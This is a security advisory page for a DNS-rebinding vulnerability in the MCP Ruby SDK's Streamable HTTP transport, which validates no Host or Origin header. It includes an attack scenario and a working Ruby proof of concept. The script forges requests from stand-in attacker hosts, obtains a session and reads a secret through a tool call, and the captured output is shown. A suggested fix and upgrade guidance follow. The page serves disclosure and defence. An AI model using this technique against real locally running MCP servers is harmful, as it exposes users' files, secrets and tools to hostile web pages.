CVE-2026-63118: MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection

Published Jul 29, 2026
·
Updated

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost). - Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin. - The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamablehttptransport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

ruby call(env) -> handlerequest(Rack::Request.new(env)) (line 56) def handlepost(request) requiredtypes = @enablejsonresponse ? REQUIREDPOSTACCEPTTYPESJSON : REQUIREDPOSTACCEPTTYPESSSE accepterror = validateacceptheader(request, requiredtypes) # line 335 - checks Accept only return accepterror if accepterror

contenttypeerror = validatecontenttype(request) # line 338 - checks Content-Type only return contenttypeerror if contenttypeerror

bodystring = request.body.read sessionid = extractsessionid(request) # line 342 - reads HTTPMCPSESSIONID

No statement anywhere in handlepost, handlerequest, or any helper reads request.env["HTTPHOST"] or request.env["HTTPORIGIN"].

The only request-env reads in the whole class are:

- extractsessionid -> request.env["HTTPMCPSESSIONID"] (line 489) - validateacceptheader -> request.env["HTTPACCEPT"] (line 493) - validatecontenttype -> request.env["CONTENTTYPE"] (line 512) - validateprotocolversionheader -> request.env["HTTPMCPPROTOCOLVERSION"] (line 546)

A repository-wide search of lib/ for HTTPHOST, HTTPORIGIN, allowedhost, allowedorigin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN). 2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com. 3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id. 4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0 # pulls addressable, json-schema, publicsuffix gem install rack # required by StreamableHTTPTransport

PoC (pocf1dnsrebind.rb):

ruby frozenstringliteral: true require "mcp" require "rack" require "json" require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}" puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instancemethod(:handlepost).sourcelocation.inspect}" puts

A tool whose output is sensitive local data an attacker wants to exfiltrate. secrettool = MCP::Tool.define(name: "readlocalsecret", description: "returns a local secret") do || MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }]) end

server = MCP::Server.new(name: "pocserver", version: "1.0.0", tools: [secrettool]) transport = MCP::Server::Transports::StreamableHTTPTransport.new(server) PROTO = MCP::Configuration::SUPPORTEDSTABLEPROTOCOLVERSIONS.last

def rackpost(transport, bodyhash, host:, origin:, sessionid: nil, proto: nil) body = JSON.generate(bodyhash) env = { "REQUESTMETHOD" => "POST", "PATHINFO" => "/", "HTTPHOST" => host, # attacker-controlled Host (DNS-rebind primary vector) "HTTPORIGIN" => origin, # attacker-controlled Origin (cross-origin browser vector) "HTTPACCEPT" => "application/json, text/event-stream", "CONTENTTYPE" => "application/json", "rack.input" => StringIO.new(body), "CONTENTLENGTH" => body.bytesize.tos, } env["HTTPMCPSESSIONID"] = sessionid if sessionid env["HTTPMCPPROTOCOLVERSION"] = proto if proto status, headers, resp = transport.call(env) collected = +"" if resp.respondto?(:each) resp.each { |c| collected << c.tos } elsif resp.respondto?(:call) # stateful tools/call returns an SSE-stream Proc body sink = Object.new sink.definesingletonmethod(:write) { |s| collected << s.tos } sink.definesingletonmethod(:flush) {} sink.definesingletonmethod(:close) {} resp.call(sink) end [status, headers, collected] end

puts "========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ==========" initbody = { jsonrpc: "2.0", id: 1, method: "initialize", params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } } status, headers, body = rackpost(transport, initbody, host: "attacker.evil.com", origin: "http://evil.attacker.com") puts "[initialize] HTTP status : #{status}" puts "[initialize] Mcp-Session-Id : #{headers["Mcp-Session-Id"].inspect}" puts "[initialize] response body : #{body}" session = headers["Mcp-Session-Id"]

callbody = { jsonrpc: "2.0", id: 2, method: "tools/call", params: { name: "readlocalsecret", arguments: {} } } status2, h2, body2 = rackpost(transport, callbody, host: "attacker.evil.com", origin: "http://evil.attacker.com", sessionid: session, proto: PROTO) puts "[tools/call] HTTP status : #{status2}" puts "[tools/call] response body : #{body2}" attackok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a")) puts puts "ATTACK VERDICT: #{attackok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403." puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ==========" status3, headers3, b3 = rackpost(transport, initbody, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080") puts "[initialize] HTTP status : #{status3}" puts "[initialize] Mcp-Session-Id : #{headers3["Mcp-Session-Id"].inspect}" puts puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0 transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamablehttptransport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ========== [initialize] HTTP status : 200 [initialize] Mcp-Session-Id : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b" [initialize] response body : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"pocserver","version":"1.0.0"}}} [tools/call] HTTP status : 200 [tools/call] response body : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 ========== [initialize] HTTP status : 200 [initialize] Mcp-Session-Id : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

- Accept allowedhosts: and allowedorigins: keyword arguments in initialize. - In handlerequest (before any dispatch), read request.env["HTTPHOST"] and request.env["HTTPORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden. - Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handlerequest. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Other sources

MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not validate the HTTP Host or Origin request headers, which allows a malicious browser page to use DNS rebinding to reach a locally running MCP server and invoke exposed tools. This issue is fixed in version 0.23.0.

MITRE

Affected Software

2 affected componentsFixes available
Model Context Protocol MCP Ruby SDK<0.23.0
rubygems/mcp<=0.22.0
0.23.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/mcp to a version that resolves this vulnerability.

    Fixed in 0.23.0
  2. Upgrade

    Upgrade mcp to a version that resolves this vulnerability.

    Fixed in 0.23.0

Event History

Jul 29, 2026
CVE Published
via MITRE·07:07 PM
Data Sourced
via MITRE·07:07 PM
DescriptionWeakness
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Jul 30, 2026
Advisory Published
via GitHub·02:41 PM
Data Sourced
via GitHub·02:41 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-63118?

CVE-2026-63118 has a risk rating of 65, indicating it is a medium-level vulnerability.

2

How do I fix CVE-2026-63118?

To fix CVE-2026-63118, update the MCP Ruby SDK to version 0.23.0 or later.

3

What does CVE-2026-63118 affect?

CVE-2026-63118 affects the Streamable HTTP transport component of the MCP Ruby SDK.

4

What kind of attack is enabled by CVE-2026-63118?

CVE-2026-63118 allows for DNS rebinding attacks that can expose local servers to malicious browser pages.

5

Is any action required if I am using version 0.23.0 or later of the MCP Ruby SDK?

If you are using version 0.23.0 or later of the MCP Ruby SDK, no action is required regarding CVE-2026-63118.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203